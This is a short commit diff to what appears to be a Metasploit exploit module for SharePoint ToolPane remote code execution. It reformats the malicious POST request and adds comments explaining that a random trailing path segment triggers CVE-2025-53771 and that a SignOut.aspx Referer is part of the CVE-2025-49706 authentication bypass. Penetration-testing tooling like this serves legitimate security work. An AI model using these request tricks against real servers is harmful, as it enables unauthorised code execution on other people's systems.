add a comment to clarify what CVE-2025-53771 is

Author: sfewer-r7

modules/exploits/windows/http/sharepoint_toolpane_rce.rb

@@ -299,7 +299,13 @@ def send_exploit(gadget_raw)
 
     send_request_cgi(
       'method' => 'POST',
-      'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'ToolPane.aspx'),
+      'uri' => normalize_uri(
+        target_uri.path,
+        '_layouts',
+        '15',
+        'ToolPane.aspx',
+        Rex::Text.rand_text_alpha_lower(8..16) # The addition of a trailing path segment appears to be CVE-2025-53771
+      ),
       'ctype' => 'application/x-www-form-urlencoded',
       'headers' => {
         'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706